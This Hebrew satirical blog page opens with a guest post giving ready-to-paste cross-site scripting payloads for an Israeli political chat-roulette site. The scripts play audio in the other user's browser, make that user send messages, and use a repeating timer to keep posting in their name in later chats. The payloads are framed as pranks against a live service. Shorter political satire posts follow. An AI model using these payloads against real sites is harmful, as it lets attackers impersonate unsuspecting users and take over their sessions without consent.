קוסם בדיפווב דרגה 8 מיד: שאל את בן ואיציק כיצד (פוסט אורחת)

רשות הדיבור לבן מאירי ולאיציק פישר:

טוב, עם כל הכבוד לשטויות וההטרלות של "מישהו לריב איתו", אתם מפספסים את הדבר הכיפי ביותר שם – פרצת אבטחה שתיתן לכם להזריק מה שתרצו לצד השני, לפחות עד שיעשו טיפה אבטחת קלט שם (מן הסתם לא כל מה שתרצו, אבל מספיק שטויות כיפיות).

למשל, אם תכתבו 
<script> document.getElementById("chatbox").style.color = "red"; </script>
תצבעו את הטקסט באדום 
או למשל <img src="http://khaosok-smiley.com/wp-content/gallery/miscellaneous/green_smiley.png" alt="Smiley face" width="42" height="42">
תכניסו תמונה של סמיילי חמוד
ואם למשל תכניסו את הדבר הבא:
<script>alert("שלום צדיק, יש לך חמש דקות להניח תפילין?");</script>
יפתח בצד השני (ואצלכם) הפופאפ שבתמונה.


זו פרצה די גדולה באבטחה, אבל בתור קוסמים דרגה 8 בדיפווב זה לא מפריע לנו יותר מדי. בזכות כוחות עג"ג היינו עושים את זה גם בלי הפרצה.

עידכון #1 – בן ממשיך ומספר:

עכשיו הכיף עלה שלב. אפשר להפעיל גם סאונד בצד השני. התחלתי משטויות של קטעי סאונד כמו "העמוד ישמיד את עצמו תוך 3 2 1" אחר כך המשכתי לשימוש באתר http://vozme.com/index.php?lang=en שמייצר קבצי קול מטקסט, אבל הוא רובוטי ובעייתי ליצור דיבור עברי מטקסט אנגלי, אז כעת אני פשוט מפעיל לאנשים ברקע את Heat of the moment של אסיה (לינק לשיר בפורמט mp3) ואני והצד השני דנים על השלום על רקע שירי רוק טובים.

כאן לא יספיק שיר ביוטיוב, וצריך לינק ישיר לקובץ mp3 שנמצא ברשת. מצאתם כזה? הכניסו את הקוד הבא לצ'ט: <embed height="0" width="0" src="myMp3Url.mp3">

(כאשר במקום myMp3Url.mp3 כמובן יש להכניס את כתובת האינטרנט של קובץ ה mp3 שמצאתם.)

עידכון #2 – בן מגזים ממש:
טוב, ברגע שהצלחתי לכתוב קוד שנותן לי את היכולת ב"מישהו לריב איתו" בשם הצד השני זה הפסיק להיות כיף.
אבל אז זה חזר להיות כיף כשהבנתי שאני יכול לגרום לכך שאחרי שהוא יתנתק מהשיחה איתי זה ימשיך להקליד בשמו שטויות, גם כשהוא מדבר עם אחרים.

הקלדה בשם הצד השני:

<script type="text/javascript"> document.getElementById('m').value = 'new value'; var elem = document.getElementById('send_button'); if (typeof elem.onclick == "function") { elem.onclick.apply(elem); }if (typeof elem.click == "function") { elem.click.apply(elem); }</script>

(יש להחליף את new value בטקסט שאותו רוצים להכניס)

ואם אתם רוצים עם אינטרוול שיחזור על עצמו ויתקע את הצד השני גם בשיחות הבאות:

<script type="text/javascript"> setInterval(function(){ document.getElementById('m').value = 'ביבי המלך'; var elem = document.getElementById('send_button'); if (typeof elem.onclick == "function") { elem.onclick.apply(elem); }if (typeof elem.click == "function") { elem.click.apply(elem); }},3000); </script>

כאשר צריך להחליף את הביטוי "ביבי המלך" במה שזה לא יהיה שאתם רוצים שהצד השני יגיד מעכשיו לכל בני שיחו.

להדגמה חיה שכוללת השתלטותו של יצחק רבין ז"ל על הצ'ט הקליקו כאן.

מישהו להטריל איתו

אז כמה אנשים הרימו יוזמה יפה מאד של צ'ט רולט בין ימנים לשמאלנים בשם "מישהו לריב איתו". הרעיון הוא פשוט ויפה: נכנסים, בוחרים נטיה פוליטית, והמערכת מזווגת בין ימנים לשמאלנים באנונימיות למטרות התכתשות מילולית ללא נפגעים ובלי לערב הורים.

כמובן שהחשש הראשון הוא שאתה מדבר עם בוט.

אז התחזיתי לבוט.

 

מסוחרר מההצלחה, המשכתי אל הימני הבא:
dialog

אין מה לעשות, כנראה שהימין לא באמת מעוניין בדיאלוג.

 

 

איך הכל מתחבר – פוסט מדיני [סקופ!]

הדסק המדיני שלנו חושף את את התוכנית של ממשלתנו לשמירת ישראל השלמה, הדמוקרטית והיהודית:

  1. לפי דו"ח אדמונד לוי, בעצם אין כיבוש ושטחי יו"ש הם חלק רגיל של מדינת ישראל.
  2. מצד שני, יש בשטחי יו"ש המון ערבים, שהם לא אזרחי המדינה. הם גם לא תיירים.
  3. עכשיו, אם הם במדינה והם לא אזרחים, ולא תיירים, הם מסתננים.
  4. מ-3 ואלי ישי, נובע שצריך לגרש את הפלסטינים לאריתראה.

קל. פשוט. אלגנטי. כל מה שלמדנו לצפות מממשלה ישראלית.

על הספה

רקע:
אתמול בצהריים ח"כ מיכאל בן ארי מפרסם בפייסבוק תמונה שלו ושל ח"כ אלדד על ספה עם הטקסט הבא:

"חה״כ אריה אלד ובן ארי, מתרווחים על ספה מהודרת בבית שנגאל על ידי הקרן לאדמות ישראל. מדובר באדמה הרשומה בטאבו על שמו של יהודי מאירן שלאחר דיונים עקשניים בבית משפט הושב לבעליו היהודים כחוק. קבענו מזוזה, ישבנו על הספה והרגשנו בבית. זהו עכשיו גרה שם משפחה יהודית ועוד כמה משפחות בדרך. בתוכנית לבנות על כל השטח כחמישים יחידות דיור! שנזכה!"

שעות ספורות לאחר מכן מתפרסם הסטטוס הבא, גם הוא של ח"כ בן ארי:

"ח״כ ד״ר בן ארי בתגובה להחלטה המצרית החד צדדית: הגיע הזמן להפר את ההסכם עם מצרים באופן חד צדדי להחזיר את השגריר (שמתחבא) לישראל לחזור לסיני ולהתייחס למצרים כתנועת טרור ולא ישות מדינית."